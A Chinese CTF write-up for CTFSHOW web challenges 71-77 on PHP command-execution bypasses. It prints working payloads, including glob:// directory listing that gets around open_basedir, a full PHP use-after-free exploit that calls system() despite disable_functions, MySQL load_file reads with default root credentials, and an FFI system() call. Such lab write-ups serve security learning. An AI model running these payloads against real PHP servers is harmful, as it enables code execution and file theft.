当前位置: 首页 > news >正文

CTFSHOW-WEB入门-命令执行71-77

  1. 题目:web 71
    1. 题目:
    2. 解题思路:分析可知highlight_file() 函数被禁了,先想办法看看根目录:c=var_export(scandir(dirname(‘/’))); 尝试一下发现很惊奇:(全是?)这种情况我也有点懵:后来仔细一看,这里给出了源码:简要分析以下代码,在执行$c中的代码之后,首先是获取缓存区的内容,然后将其中的数字字母全部换为?,同时清空缓存区,于是这里出现可开头的一幕,全部都是?,那么我们需要在替换之前让其程序结束掉,不进行替换?的操作,这样就可以得到源文本:再次获取根目录内容—添加一个exit()函数或者die()函数均可:使用include()函数读取:得到flag
  2. 题目:web 72
    1. 题目:源码:题目进入后的报错提示:
    2. 解题思路:首先沿用上题的思路试一试:查看根目录内容:但是第一步就悲剧:这段警告是说:scandir() 函数尝试访问一个不在 open_basedir 允许路径内的目录。open_basedir 是一个 PHP 配置指令,用于限制 PHP 脚本能够访问的目录。 只有指定的目录才可以访问。于是(1)首要任务变成了要找出flag所在的目录,查找大佬 的wp发现此题可以使用一种新的思路来找目录:利用php伪协议 glob://
<?php 
//获取一个DirectoryIterator的对象  
//DirectoryIterator 是 PHP 的一个内置类,用于提供一个面向对象的接口来遍历目录。
//glob:// 流包装器:
//glob:// 是 PHP 的一个流包装器,允许你使用与 glob() 函数相同的模式匹配语法来指定文件路径。
//"glob:///*" 意图是匹配根目录下的所有文件和目录。$a = new DirectoryIterator("glob:///*");foreach ($a as $f) {//遍历$a 目录下的所有路径,以字符串的形式打印出来,间隔空格echo ($f->__toString().' ');} exit(0); 
?>
    1. 找flag所在目录,利用到上述代码:(这里的?>可以不加,因为eval('  ')里面的?>是不会闭合外层函数的,会将里面的内容当作一个完整的PHP代码进行执行)
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>

通过这种方法我们得到了flag所在目录:

    2. 第二步想办法查看flag内容,先用一下include发现不行:![](https://i-blog.csdnimg.cn/img_convert/ec871864a68d9b5873b8d19527dc447f.png)这里又是第二个坎,由于include函数被禁了于是,找大佬的wp,得到一个可以执行PHP系统命令的脚本,适用于类unix的系统: 如Linux或macOS  
<!-- 该脚本的主要用途是在目标PHP服务器上执行系统命令,例如读取文件内容、执行任意命令等。通过利用PHP对象注入漏洞,攻击者可以绕过PHP的安全机制,执行恶意代码。 -->
<?phpfunction ctfshow($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this->a);$backtrace = (new Exception)->getTrace();if(!isset($backtrace[1]['args'])) {$backtrace = debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= sprintf("%c",($ptr & 0xff));$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = sprintf("%c",($v & 0xff));$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type  = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) {return $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) {return leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}function trigger_uaf($arg) {$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');$vuln = new Vuln();$vuln->a = $arg;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10; $contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');trigger_uaf('x');$abc = $backtrace[1]['args'][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;write($abc, 0x60, 2);write($abc, 0x70, 6);write($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}write($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd);exit();
}ctfshow("cat flag0.txt");ob_end_flush();
?>

于是将其进行url编码传给c变量:得到flag:

3. 知识点: 利用glob://协议读取文件目录   利用脚本绕过PHP的限制执行命令
  1. 题目:web 73
    1. 题目:
    2. 解题思路:本题与上一题类似,先采取上一个题目的获取根目录内容,找flag的位置的解法:使用glob伪协议:c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?> 得出flag的位置在根目录下的flagc.txt:x想方法查看文件内容:include试一试:发现可行:试一试上一题的脚本:发现被过滤了(2)另解:这道题过滤没有那么严格,于是可以利用之前的c=var_export(scandir(‘/’));exit();然后使用include或者readgzfile()查看文件也可以。
  2. 题目:web 74
    1. 题目:
    2. 解题思路:先试一试scandir叭:发现被禁了:只好采用glob协议读取根目录内容:发现flag的地方之后,想办法读取:使用include() 包含使用功能类似的表示
1.遍历文件系统
(1) scandir():
功能:返回指定目录中的文件和目录列表。
示例:scandir('../../..');
注意:返回的是文件和目录名的数组,不包括完整路径。
(2) DirectoryIterator 类:
功能:提供了一个面向对象的接口来遍历目录。
示例: php代码:
$iterator = new DirectoryIterator('../../..');
foreach ($iterator as $fileinfo) {if ($fileinfo->isDot()) continue;echo $fileinfo->getFilename() . "\n";
}
注意:提供了更丰富的目录遍历功能,包括过滤和访问文件信息。
2.输出变量信息
(1)var_dump():
功能:输出变量的详细信息,包括类型和值。
示例:var_dump(glob('../../..'.'/*'));
注意:输出格式是为人类阅读设计的,不是合法的PHP代码。
(2)print_r():
功能:以人类可读的格式打印数组或对象。
示例:print_r(glob('../../..'.'/*'));
注意:输出格式更简洁,但同样不是合法的PHP代码。
(3)json_encode():
功能:将PHP变量转换为JSON格式的字符串。
示例:echo json_encode(glob('../../..'.'/*'));
注意:输出是JSON格式的字符串,可以在JavaScript等环境中使用。
    1. 于是我们还可以使用echo结合json_encode:c=echo json_encode(glob('../../..'.'/*'));exit();同样得到目录:或者var_export(glob('../../..'.'/*'))----这里使用的是glob()函数![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1738639099957-1dc1a577-e2a6-438b-bf09-ab5be2373498.png)![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1738639140211-28039947-cc86-4b38-91e4-8c3b3eb2e0fb.png)然后在利用include或者readgzfile读取文件内容
3. 知识点:查看变量信息的几种表示  1.var_dump()2.var_export()   3.print_r()   4.json_encode()
  1. 题目:web 75
    1. 题目:
    2. 解题思路:先试一下scandir:发现被禁了:于是再想办法使用glob函数:发现失败了:说明glob函数被禁用了但是在 PHP 中,<font style="color:rgb(251, 71, 135);">glob</font> 函数的行为是独立的,即使 <font style="color:rgb(251, 71, 135);">glob</font> 函数被禁用,使用 <font style="color:rgb(251, 71, 135);">DirectoryIterator</font><font style="color:rgb(251, 71, 135);">glob://</font> 流也是一种不同的机制,不会直接受到 <font style="color:rgb(251, 71, 135);">glob</font> 函数禁用的影响。 也就是说我们还可以使用glob协议: c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?> 得到flag的位置:想办法读取:include ()函数被禁:想其他办法:readgzfile():也被禁了思路断了,去看看提示,提示给的第二个payload:上传得到了结果看看上传的是啥:
try {//创建 PDO 实例, 连接 MySQL 数据库( 主机名 数据库名 用户名 密码)//由于pdo对象提供了可以query()方法可以执行sql语句,于是这里才可以使用load_file函数$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
//这里的数据库名可以用information_schema代替,表示所有数据库
//ctftraining是根据之前ctfshow题目经验推测的//在 MySQL 中,load_file(完整路径) 函数读取一个文件并将其内容作为字符串返回。// $row 代表的是字符串的每一行//SELECT load_file("/flag36.txt") 是一个有效的 MySQL 查询,//它请求 MySQL 使用 load_file 函数读取指定路径的文件内容。//这块 SQL 是在 PHP 中编写的,但它的执行是在 MySQL 数据库内部进行的。foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|";//输出完一行之后用|隔开}
// 关闭数据库$dbh = null;
}catch (PDOException $e) {echo $e->getMessage();exit(0);
}
// 整体逻辑是利用try catch执行一个可能引发错误的语句,如果真的有异常会捕获异常并退出,
// 无异常就正常结束
exit(0);
3. 知识点:利用数据库函数load_file(合法路径)读取文件内容
  1. 题目:web 76
    1. 题目:
    2. 解题思路:采取类似的方法获取flag位置—借助glob协议:c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>得到flag位置:读取文件内容:试试连接数据库,借助pdo对象的query()函数,使用sql函数load_file:得到结果
    3. 知识点:与上一题类似,复习巩固
  2. 题目:web 77
    1. 题目:
    2. 解题思路:首先的话,先看看这个根目录的内容:使用glob协议:发现有两个与flag有关系的文件:flag36.txt和readflag,我们都试着查看一下:借助sql的load_file函数:flag36x.txt内容:readflag内容:同样的这个时候发现有点猫腻,应该是这种方法行不通了,有仔细看看题目:发现题目特别说明了php版本是7.4:通过插件查看php版本,确实是7.4以上的:于是乎上网查看PHP7.4版本以上的命令执行漏洞:找到了一种新思路,由于php7.4以上增加了ffi拓展,这个拓展允许我们直接调用c库里面的函数,甚至可以绕过一些PHP层面的限制,执行c库里面的命令,从而达到命令执行的目的。
      1. 根据题目给的payload:这段代码的意思是利用php的ffi拓展,创建一个ffi对象,利用这个对象调用C库里面的system函数,将readflag重定向为1.txt:代码解析:
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的,作用是将readflag文件重定向为一个1.txt文件,之前遇到过readflag文件。
//他是一个二进制文件,为可执行文件
$ffi->system($a);//通过$ffi去调用system函数
    2. 执行之后发现没有回显,于是就进行访问:![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1738650375927-28b0ca41-925a-4517-96c2-6af725018e7a.png)
3. 知识点:php7.4的ppi拓展利用[https://blog.csdn.net/weixin_63231007/article/details/129105223?ops_request_misc=%257B%2522request%255Fid%2522%253A%25220e73b2c6dae7024b28a37039e65b5c8e%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=0e73b2c6dae7024b28a37039e65b5c8e&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-2-129105223-null-null.142^v101^pc_search_result_base3&utm_term=FFI%E6%8B%93%E5%B1%95%E5%88%A9%E7%94%A8&spm=1018.2226.3001.4187](https://blog.csdn.net/weixin_63231007/article/details/129105223?ops_request_misc=%257B%2522request%255Fid%2522%253A%25220e73b2c6dae7024b28a37039e65b5c8e%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=0e73b2c6dae7024b28a37039e65b5c8e&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-2-129105223-null-null.142^v101^pc_search_result_base3&utm_term=FFI%E6%8B%93%E5%B1%95%E5%88%A9%E7%94%A8&spm=1018.2226.3001.4187)1. 本题目使用的是第四点 <font style="color:#0d0016;">利用FFI:cdef 绕过 disabled_function进行rce</font>

相关文章:

CTFSHOW-WEB入门-命令执行71-77

题目&#xff1a;web 71 题目&#xff1a;解题思路&#xff1a;分析可知highlight_file() 函数被禁了&#xff0c;先想办法看看根目录&#xff1a;cvar_export(scandir(dirname(‘/’))); 尝试一下发现很惊奇&#xff1a;&#xff08;全是&#xff1f;&#xff09;这种情况我也…...

[MRCTF2020]Ez_bypass1(md5绕过)

[MRCTF2020]Ez_bypass1(md5绕过) ​​ 这道题就是要绕过md5强类型比较&#xff0c;但是本身又不相等&#xff1a; md5无法处理数组&#xff0c;如果传入的是数组进行md5加密&#xff0c;会直接放回NULL&#xff0c;两个NuLL相比较会等于true&#xff1b; 所以?id[]1&gg…...

PPT演示设置:插入音频同步切换播放时长计算

PPT中插入音频&同步切换&放时长计算 一、 插入音频及音频设置二、设置页面切换和音频同步三、播放时长计算四、使用宏设置设置页面切换和音频同步一、 插入音频及音频设置 1.插入音频:点击菜单栏插入-音频-选择PC上的音频(已存在的音频)或者录制音频(现场录制) …...

Modbus Slave RTU 在 AVP28335(兼容德州仪器TMS 320 28335) 上实现含源码及注释。

今天先把题目先给出来&#xff0c; 在近两天会把源码 &#xff08;含详细注释 &#xff09;及部署、测试结果给出来&#xff0c; 希望能给大家帮助。&#xff08;原来这个程序在CSDN中&#xff0c;有小伙伴已经写了一些&#xff0c;但是发现里面埋了很多坑&#xff0c;例如&…...

git-secret 使用教程

以下是一份详细的 git-secret 使用教程&#xff0c;包含常见场景的 Bash 代码示例&#xff1a; 1. 安装 git-secret # Ubuntu/Debian sudo apt-get install git-secret# macOS (Homebrew) brew install git-secret# 其他 Linux (Snap) sudo snap install git-secret# 验证安装…...

防火墙安全策略

目录 一.拓扑及需求 二.需求分析 三.配置详细信息 防火墙&#xff1a; OA server&#xff1a; Web Server&#xff1a; PC1&#xff1a; ​编辑PC2&#xff1a; PC3&#xff1a; 配置安全区域&#xff1a; 交换机&#xff1a; 四.需求实现以及测试&#xff1a; 1.…...

蓝桥杯python基础算法(2-2)——基础算法(D)——进制转换*

目录 五、进制转换 十进制转任意进制&#xff0c;任意进制转十进制 例题 P1230 进制转换 作业 P2095 进制转化 作业 P2489 进制 五、进制转换 十进制转任意进制&#xff0c;任意进制转十进制 int_to_char "0123456789ABCDEF" def Ten_to_K(k, x):answer "…...

VSCode源码分析参考资料

VSCode Architecture Analysis - Electron Project Cross-Platform Best Practices 中文版 VSCode 架构分析 - Electron 项目跨平台最佳实践 Sihan Li博客上的vscode源码分析系列&#xff1a;分析了微服务架构、事件体系、资源管理、配置系统等 文召博客上的vscode 源码解析…...

深入理解 Rust 模块中的路径与公开性:绝对路径、相对路径和 `pub` 的应用

1. 路径的两种形式&#xff1a;绝对路径与相对路径 在 Rust 中&#xff0c;路径类似于文件系统中的目录路径&#xff0c;用来告诉编译器去哪里查找某个项。路径主要有两种形式&#xff1a; 绝对路径 绝对路径从 crate 的根开始。对于当前 crate 的代码&#xff0c;绝对路径以关…...

DeepSeek R1 大模型本地部署指南

以下是部署DeepSeek R1大模型的详细Markdown指南&#xff0c;可直接保存为.md文件并分享&#xff1a; # DeepSeek R1 大模型本地部署指南**适用系统**&#xff1a;Windows 10/11 & Linux (Ubuntu 20.04)---## 目录 1. [硬件要求](#硬件要求) 2. [准备工作](#准备工作) 3. […...

从Proxmox VE开始:安装与配置指南

前言 Proxmox Virtual Environment (Proxmox VE) 是一个开源的虚拟化平台&#xff0c;基于Debian Linux&#xff0c;支持KVM虚拟机和LXC容器。它提供了一个强大的Web管理界面&#xff0c;方便用户管理虚拟机、存储、网络等资源。Proxmox VE广泛应用于企业级虚拟化、云计算和开…...

Docker 安装详细教程(适用于CentOS 7 系统)

目录 步骤如下&#xff1a; 1. 卸载旧版 Docker 2. 配置 Docker 的 YUM 仓库 3. 安装 Docker 4. 启动 Docker 并验证安装 5. 配置 Docker 镜像加速 总结 前言 Docker 分为 CE 和 EE 两大版本。CE即社区版&#xff08;免费&#xff0c;支持周期7个月&#xff09;&#xf…...

前端 | 浅拷贝深拷贝

在前端开发中&#xff0c;我们经常需要复制对象或数组&#xff0c;但不同的复制方式可能会影响数据的完整性和应用的稳定性。本文将深入探讨浅拷贝&#xff08;Shallow Copy&#xff09;和深拷贝&#xff08;Deep Copy&#xff09;的区别、实现方式及适用场景。 1. 浅拷贝 1.…...

巧用 Cursor+Coze,轻松简化小程序开发

一、为啥要用 Cursor+Coze 简化小程序开发 家人们,如今小程序简直火出圈啦!不管你是电商从业者,还是服务行业的工作者,又或是自媒体运营者,拥有一个小程序,就相当于给业务插上了腾飞的翅膀,能带来更多的流量和机会。但是,小程序开发的过程,那可真是充满了挑战。从最开…...

Spring Boot常用注解深度解析:从入门到精通

今天&#xff0c;这篇文章带你将深入理解Spring Boot中30常用注解&#xff0c;通过代码示例和关系图&#xff0c;帮助你彻底掌握Spring核心注解的使用场景和内在联系。 一、启动类与核心注解 1.1 SpringBootApplication 组合注解&#xff1a; SpringBootApplication Confi…...

解决Mac安装软件的“已损坏,无法打开。 您应该将它移到废纸篓”问题

mac安装软件时&#xff0c;如果出现这个问题&#xff0c;其实很简单 首先打开终端&#xff0c;输入下面的命令 sudo xattr -r -d com.apple.quarantine 输入完成后&#xff0c;先不要回车&#xff0c;点击访达--应用程序--找到你无法打开的app图标&#xff0c;拖到终端窗口中…...

爱普生L3153打印机无线连接配置流程

家里使用的是移动宽带中兴路由器&#xff0c;有WPS功能&#xff0c;进入192.168.1.1管理员页面&#xff0c;用户名user&#xff0c;密码在路由器背面&#xff08;可以登录后修改密码&#xff09;。在网络-WLAN网络配置-WPS中&#xff0c;点击push button&#xff0c;激活路由器…...

第二十章 存储函数

目录 一、概述 二、语法 三、示例 一、概述 前面章节中&#xff0c;我们详细讲解了MySQL中的存储过程&#xff0c;掌握了存储过程之后&#xff0c;学习存储函数则肥仓简单&#xff0c;存储函数其实是一种特殊的存储过程&#xff0c;也就是有返回值的存储过程。存储函数的参数…...

pytorch实现门控循环单元 (GRU)

人工智能例子汇总&#xff1a;AI常见的算法和例子-CSDN博客 特性GRULSTM计算效率更快&#xff0c;参数更少相对较慢&#xff0c;参数更多结构复杂度只有两个门&#xff08;更新门和重置门&#xff09;三个门&#xff08;输入门、遗忘门、输出门&#xff09;处理长时依赖一般适…...

unity报错不存在类型或者命名空间

导入资源或者打开项目时&#xff0c;突然发现多了一堆报错&#xff0c;如 Assets\2DGamekit\Utilities\DefaultPlayables\ScreenFader\ScreenFaderBehaviour.cs(5,19): error CS0234: The type or namespace name UI does not exist in the namespace UnityEngine (are you mi…...

Qt展厅播放器/多媒体播放器/中控播放器/帧同步播放器/硬解播放器/监控播放器

一、前言说明 音视频开发除了应用在安防监控、视频网站、各种流媒体app开发之外&#xff0c;还有一个小众的市场&#xff0c;那就是多媒体展厅场景&#xff0c;这个场景目前处于垄断地位的软件是HirenderS3&#xff0c;做的非常早而且非常全面&#xff0c;都是通用的需求&…...

Spring Bean 的生命周期介绍

Spring Bean 的生命周期涉及多个阶段&#xff0c;从实例化到销毁&#xff0c;在开发中我们可以通过各种接口和注解介入这些阶段来定制化自己的功能。以下是详细的生命周期流程&#xff1a; 1. Bean 的实例化&#xff08;Instantiation&#xff09; 方式&#xff1a;通过构造函…...

奥卡姆剃刀原理:用简单的力量,解锁复杂的世界

奥卡姆剃刀原理 大名鼎鼎的奥卡姆剃刀原理&#xff08;Occam’s Razor&#xff09;&#xff0c;其含义很简单&#xff0c;就一句话&#xff1a;“如无必要&#xff0c;勿增实体”。 这句看似简单却蕴含着深刻智慧的话&#xff0c;是由14世纪的英格兰逻辑学家、圣方济各会修士…...

STM32 串口发送与接收

接线图 代码配置 根据上一章发送的代码配置&#xff0c;在GPIO配置的基础上需要再配置PA10引脚做RX接收&#xff0c;引脚模式可以选择浮空输入或者上拉输入&#xff0c;在USART配置串口模式里加上RX模式。 配置中断 //配置中断 USART_ITConfig(USART1, USART_IT_RXNE, ENABLE…...

如何生成强密码:提高网络安全性的全面指南

引言 在数字化时代&#xff0c;密码的安全性至关重要。随着我们在社交媒体、电子邮件、在线银行等平台上储存越来越多的个人信息&#xff0c;强密码的使用变得更加关键。强密码能有效防止暴力破解、字典攻击等安全威胁。因此&#xff0c;在本文中&#xff0c;我们将深入探讨如…...

如何不更新application.yml而更新spring的配置

更改应用程序外部属性的位置 默认情况下&#xff0c;来自不同来源的属性会按定义的顺序添加到 Spring 中&#xff08;有关确切顺序&#xff0c;请参阅“Spring Boot 功能”部分中的“外部化配置”&#xff09;。Environment 您还可以提供以下系统属性&#xff08;或环境变量&…...

【Unity踩坑】Unity项目管理员权限问题(Unity is running as administrator )

问题描述&#xff1a; 使用Unity Hub打开或新建项目时会有下面的提示。 解决方法&#xff1a; 打开“本地安全策略”&#xff1a; 在Windows搜索栏中输入secpol.msc并回车&#xff0c;或者从“运行”对话框&#xff08;Win R&#xff0c;然后输入secpol.msc&#xff09;启…...

【JavaScript】《JavaScript高级程序设计 (第4版) 》笔记-Chapter1-什么是 JavaScript

一、什么是 JavaScript 虽然 JavaScript 和 ECMAScript&#xff08;发音为“ek-ma-script”&#xff09; 基本上是同义词&#xff0c;但 JavaScript 远远不限于 ECMA-262 所定义的那样。没错&#xff0c;完整的 JavaScript 实现包含以下几个部分。 核心&#xff08;ECMAScript&…...

队列 + 宽搜(4题)

目录 1.n叉树的层序遍历 2.二叉树的锯齿形层序遍历 3.二叉树的最大宽度 4.在每个树行中找最大值 1.n叉树的层序遍历 429. N 叉树的层序遍历 - 力扣&#xff08;LeetCode&#xff09; 我们只需要把某个节点出队的时候把它的孩子节点添加进来即可。 出队的次数就是最开始队列…...

二、面向对象

一、结构体类型 结构体类型是一种自定义类型&#xff0c;用于创建我们游戏或者实际业务中的自定义类型. 代码中变量有通用的&#xff0c;可以使用结构体&#xff0c;包裹起来。 1、成员变量 /// <summary> /// 英雄结构体 /// </summary> struct Hero {//成员p…...

【DeepSeek背后的技术】系列二:大模型知识蒸馏(Knowledge Distillation)

目录 1 引言2 操作步骤和公式说明2.1 准备教师模型&#xff08;Teacher Model&#xff09;和学生模型&#xff08;Student Model&#xff09;2.2 生成软标签&#xff08;Soft Labels&#xff09;2.3 定义蒸馏损失函数2.4 训练学生模型2.5 调整超参数2.6 评估与部署 3 其他知识蒸…...

PyQt4学习笔记2】QMainWindow

目录 一、创建 QMainWindow 组件 1. 创建工具栏 2. 创建停靠窗口 3. 设置状态栏 4. 设置中央窗口部件 二、QMainWindow 的主要方法 1. addToolBar() 2. addDockWidget() 3. setStatusBar() 4. setCentralWidget() 5. menuBar() 6. saveState() 和 restoreState() 三、QMainWind…...

《海丰县蔡氏简介》前言

《海丰县蔡氏简介》前言 蔡惠进主编 汕尾市海陆丰蔡姓祖先基本是福建人&#xff0c; 在宋朝时迁至海丰&#xff0c; 因受潮汕文化、 客家文化、 广府文化、 政治归属等系列因素影响&#xff0c; 形成了闽南人一 种新的文化&#xff0c; 既有传统的闽南文化&#xff0c; 又有潮汕…...

深入探索Vue 3组合式API

深入探索Vue 3组合式API 深入探索Vue 3组合式API一、组合式API诞生背景1.1 Options API的局限性1.2 设计目标二、核心概念解析2.1 setup() 函数&#xff1a;组合式API的基石2.2 响应式系统&#xff1a;重新定义数据驱动2.3 生命周期&#xff1a;全新的接入方式2.4 响应式原理探…...

获取 ARM Cortex - M 系列处理器中 PRIMASK 寄存器的值

第一种实现&#xff08;纯汇编形式&#xff09; __ASM uint32_t __get_PRIMASK(void) {mrs r0, primaskbx lr }代码分析 __ASM 关键字&#xff1a;这通常是特定编译器&#xff08;如 ARM GCC 等&#xff09;用于嵌入汇编代码的指示符。它告诉编译器下面的代码是汇编代码。mrs …...

使用deepseek写一个单击,双击和长按的检测函数

DeepSeek好火&#xff0c;注册试用一下&#xff0c;感觉和chatgpt o1差别不大&#xff0c;唯一的问题就是追多几次就崩溃了&#xff0c;再问不下去了。以下是测试结果。 提问&#xff1a; 请使用c语言写一个函数&#xff0c;输入参数是是为&#xff1a; A为当前的输入量&am…...

MySQL面经

1.范式 第一范式&#xff1a;每一列都不能再拆分 第二范式&#xff1a;在第一范式的基础上&#xff0c;非主键列完全依赖于主键&#xff0c;而不是主键的一部分 第三范式&#xff1a;在第二范式的基础上&#xff0c;非主键列只依赖于主键列&#xff0c;而不依赖于其他非主键…...

【C++】P1765 手机

博客主页&#xff1a; [小ᶻ☡꙳ᵃⁱᵍᶜ꙳] 本文专栏: C 文章目录 &#x1f4af;前言&#x1f4af;问题描述题目内容示例&#xff1a; 键盘布局 &#x1f4af;我的做法思路问题与优化我的代码实现分析与问题 &#x1f4af;老师的做法思路老师的代码实现分析优点 &#x1f…...

MyBatis-Plus速成指南:简化你的数据库操作流程

简介&#xff1a; MyBatis-Plus 是一个 MyBatis 的增强工具&#xff0c;在 MyBatis 的基础上只做增强不做改变&#xff0c;为简化开发、提高效率而生。MyBatsi-Plus 提供了通用的 Mapper 和 Service&#xff0c;可以不编写任何 SQL 语句的前提下&#xff0c;快速的实现单表的增…...

DeepSeek超越ChatGPT的能力及部分核心原理

DeepSeek超越ChatGPT的能力及部分核心原理 目录 DeepSeek超越ChatGPT的能力及部分核心原理超越ChatGPT的能力核心原理超越ChatGPT的能力 推理计算能力更强:在复杂的数学计算、法律文件审查等任务中,DeepSeek的推理能力可媲美甚至超越部分国际顶尖AI模型,包括ChatGPT。例如在…...

优选算法的灵动之章:双指针专题(一)

个人主页&#xff1a;手握风云 专栏&#xff1a;算法 目录 一、双指针算法思想 二、算法题精讲 2.1. 查找总价格为目标值的两个商品 2.2. 盛最多水的容器 ​编辑 2.3. 移动零 2.4. 有效的三角形个数 一、双指针算法思想 双指针算法主要用于处理数组、链表等线性数据结构…...

作业day4

请实现一个终端的功能&#xff0c;注意需要带有cd功能 typedef struct sockaddr_in addr_in_t; typedef struct sockaddr addr_t; typedef struct sockaddr_un addr_un_t; char *mygets(char* s,int size){char* res fgets(s,size,stdin);int len strlen(s);if(s[len-1] \n)…...

python日志处理logging

python日志处理logging 在项目开发中&#xff0c;日志信息是程序中必不可少的组成部分。每一种语言都有相应的日志模块&#xff0c;如java中log4j&#xff0c;而python中是通过logging模块来提供日志功能。 日志要哪些本质功能&#xff1f; 在分享日志logging模块之前&#…...

开发板目录 /usr/lib/fonts/ 中的字体文件 msyh.ttc 的介绍【微软雅黑(Microsoft YaHei)】

本文是博文 https://blog.csdn.net/wenhao_ir/article/details/145433648 的延伸扩展。 本文是博文 https://blog.csdn.net/wenhao_ir/article/details/145433648 的延伸扩展。 问&#xff1a;运行 ls /usr/lib/fonts/ 发现有一个名叫 msyh.ttc 的字体文件&#xff0c;能介绍…...

浅谈《图解HTTP》

感悟 滑至尾页的那一刻&#xff0c;内心突兀的涌来一阵畅快的感觉。如果说从前对互联网只是懵懵懂懂&#xff0c;但此刻却觉得她是如此清晰而可爱的呈现在哪里。 介绍中说&#xff0c;《图解HTTP》适合作为第一本网络协议书。确实&#xff0c;它就像一座桥梁&#xff0c;连接…...

为什么在网站上复制的图片不能直接粘贴到本地的原因及解决方法

一、图片的来源与格式 ①图片链接:许多网站展示的图片并不是直接嵌入在页面中的,而是通过URL链接到远程服务器上的图片。当你复制网站上的图片时,实际上复制的是图片的URL地址,而不是图片的本地文件。 ②动态加载:有些网站使用JavaScript或其他技术动态加载图片,可能通…...

conda配置channel

你收到 CondaKeyError: channels: value https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main not present in config 错误是因为该镜像源&#xff08;https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main&#xff09;可能没有被正确添加到 Conda 的配置文件中&…...

Javaweb学习之Mysql(Day5)

(一)Mysql概述 (1)MYSQL通用语法 SQL语句可以单行或多行书写,以分号结尾。 SQL语句可以使用空格/缩进来增强语句的可读性(即,空格和缩进不影响代码的执行)。 MySQL数据库的SQL语句不区分大小写。 注释: 1. 单行注释: -- 注释内容 或 # 注释内容 (MySQL 特有 …...

61.异步编程1 C#例子 WPF例子

